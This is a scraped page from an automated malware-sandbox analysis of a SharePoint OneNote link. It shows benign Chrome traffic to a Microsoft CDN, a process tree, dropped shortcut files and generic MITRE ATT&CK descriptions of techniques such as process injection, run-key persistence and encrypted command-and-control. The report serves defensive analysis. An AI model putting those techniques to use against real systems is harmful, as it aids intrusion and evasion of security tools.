2024-07-16 11:08:09 UTC	642	OUT	GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:08:10 UTC	1117	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 179 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:08:10 GMT Last-Modified: Fri, 12 Jul 2024 06:07:24 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=43937673097687648738285529591318518727"}],"include_subdomains ":true} Server: ECAcc (lhc/7943) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: b7f0f534-b01e-0051-3c70-d7f58c000000 Content-Length: 3290 Connection: close
2024-07-16 11:08:10 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 30 39 2e 39 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 64 63 38 38 61 65 35 32 66 35 34 35 32 36 34 62 32 39 30 34 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 54 71 51 42 4e 6e 6d 38 4e 53 74 72 64 37 5a 33 6f 66 2f 54 37 51 70 38 51 38 30 59 38 6c 76 68 2b 56 73 68 4f 41 7a 52 73 57 49 2b 54 50 44 65 61 6a 67 4d 63 59 65 53 2b 73 33 58 54 34 4b 63 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 32 64 37 38 64 66 32 32 30 35 30 34 31 32 35 32 38 34 35 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 67 30 71 32 37 4e 6a 6a 74 36 4d 75 7a 33 6d 55 7a 44 38 53 70 4f 45 2f 39 42 41 56 58 4f 4e 50 69 67 50 7a 52 4a 2f 4a 77 50 30 Data Ascii: {"clientVersion":"20240709.9","files":{"owl.js":["owl.dc88ae52f545264b2904.js","sha384-TqQBNnm8NStrd7Z3of/T7Qp8Q80Y8lvh+VshOAzRsWI+TPDeajgMcYeS+s3XT4Kc"],"owl.slim.js":["owl.slim.2d78df22050412528455.js","sha384-g0q27Njjt6Muz3mUzD8SpOE/9BAVXONPigPzRJ/JwP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50108	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:08:10 UTC	396	OUT	GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:08:11 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 180 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:08:11 GMT Last-Modified: Fri, 12 Jul 2024 06:07:24 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=79761424589520054112853883270616351582"}],"include_subdomains ":true} Server: ECAcc (lhc/7959) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: b7f0f534-b01e-0051-3c70-d7f58c000000 Content-Length: 3290 Connection: close
2024-07-16 11:08:11 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 30 39 2e 39 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 64 63 38 38 61 65 35 32 66 35 34 35 32 36 34 62 32 39 30 34 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 54 71 51 42 4e 6e 6d 38 4e 53 74 72 64 37 5a 33 6f 66 2f 54 37 51 70 38 51 38 30 59 38 6c 76 68 2b 56 73 68 4f 41 7a 52 73 57 49 2b 54 50 44 65 61 6a 67 4d 63 59 65 53 2b 73 33 58 54 34 4b 63 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 32 64 37 38 64 66 32 32 30 35 30 34 31 32 35 32 38 34 35 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 67 30 71 32 37 4e 6a 6a 74 36 4d 75 7a 33 6d 55 7a 44 38 53 70 4f 45 2f 39 42 41 56 58 4f 4e 50 69 67 50 7a 52 4a 2f 4a 77 50 30 Data Ascii: {"clientVersion":"20240709.9","files":{"owl.js":["owl.dc88ae52f545264b2904.js","sha384-TqQBNnm8NStrd7Z3of/T7Qp8Q80Y8lvh+VshOAzRsWI+TPDeajgMcYeS+s3XT4Kc"],"owl.slim.js":["owl.slim.2d78df22050412528455.js","sha384-g0q27Njjt6Muz3mUzD8SpOE/9BAVXONPigPzRJ/JwP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50109	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:08:11 UTC	642	OUT	GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:08:12 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 31 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:08:12 GMT Last-Modified: Fri, 12 Jul 2024 10:11:28 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=229333327943953171012441244072403450681"}],"include_subdomains ":true} Server: ECAcc (lhc/791C) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 55927d71-d01e-0035-5170-d70414000000 Content-Length: 3290 Connection: close
2024-07-16 11:08:12 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 30 39 2e 39 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 64 63 38 38 61 65 35 32 66 35 34 35 32 36 34 62 32 39 30 34 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 54 71 51 42 4e 6e 6d 38 4e 53 74 72 64 37 5a 33 6f 66 2f 54 37 51 70 38 51 38 30 59 38 6c 76 68 2b 56 73 68 4f 41 7a 52 73 57 49 2b 54 50 44 65 61 6a 67 4d 63 59 65 53 2b 73 33 58 54 34 4b 63 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 32 64 37 38 64 66 32 32 30 35 30 34 31 32 35 32 38 34 35 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 67 30 71 32 37 4e 6a 6a 74 36 4d 75 7a 33 6d 55 7a 44 38 53 70 4f 45 2f 39 42 41 56 58 4f 4e 50 69 67 50 7a 52 4a 2f 4a 77 50 30 Data Ascii: {"clientVersion":"20240709.9","files":{"owl.js":["owl.dc88ae52f545264b2904.js","sha384-TqQBNnm8NStrd7Z3of/T7Qp8Q80Y8lvh+VshOAzRsWI+TPDeajgMcYeS+s3XT4Kc"],"owl.slim.js":["owl.slim.2d78df22050412528455.js","sha384-g0q27Njjt6Muz3mUzD8SpOE/9BAVXONPigPzRJ/JwP0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	50110	152.199.21.175	443

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:08:12 UTC	396	OUT	GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:08:13 UTC	1116	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 32 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:08:13 GMT Last-Modified: Fri, 12 Jul 2024 10:11:28 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=15972630571538647311080032895702069702"}],"include_subdomains ":true} Server: ECAcc (lhc/7949) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 55927d71-d01e-0035-5170-d70414000000 Content-Length: 3290 Connection: close
2024-07-16 11:08:13 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 30 39 2e 39 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 64 63 38 38 61 65 35 32 66 35 34 35 32 36 34 62 32 39 30 34 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 54 71 51 42 4e 6e 6d 38 4e 53 74 72 64 37 5a 33 6f 66 2f 54 37 51 70 38 51 38 30 59 38 6c 76 68 2b 56 73 68 4f 41 7a 52 73 57 49 2b 54 50 44 65 61 6a 67 4d 63 59 65 53 2b 73 33 58 54 34 4b 63 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 32 64 37 38 64 66 32 32 30 35 30 34 31 32 35 32 38 34 35 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 67 30 71 32 37 4e 6a 6a 74 36 4d 75 7a 33 6d 55 7a 44 38 53 70 4f 45 2f 39 42 41 56 58 4f 4e 50 69 67 50 7a 52 4a 2f 4a 77 50 30 Data Ascii: {"clientVersion":"20240709.9","files":{"owl.js":["owl.dc88ae52f545264b2904.js","sha384-TqQBNnm8NStrd7Z3of/T7Qp8Q80Y8lvh+VshOAzRsWI+TPDeajgMcYeS+s3XT4Kc"],"owl.slim.js":["owl.slim.2d78df22050412528455.js","sha384-g0q27Njjt6Muz3mUzD8SpOE/9BAVXONPigPzRJ/JwP0

Target ID:	0
Start time:	07:06:46
Start date:	16/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:06:48
Start date:	16/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1944,i,7244158449792302167,2698048619673715931,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	07:06:50
Start date:	16/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 218

Chrome Cache Entry: 219

Chrome Cache Entry: 220

Chrome Cache Entry: 221

Chrome Cache Entry: 222

Chrome Cache Entry: 223

Chrome Cache Entry: 224

Chrome Cache Entry: 225

Chrome Cache Entry: 226

Chrome Cache Entry: 227

Chrome Cache Entry: 228

Chrome Cache Entry: 229

Chrome Cache Entry: 230

Chrome Cache Entry: 231

Chrome Cache Entry: 232

Chrome Cache Entry: 233

Chrome Cache Entry: 234

Chrome Cache Entry: 235

Windows Analysis Report
https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU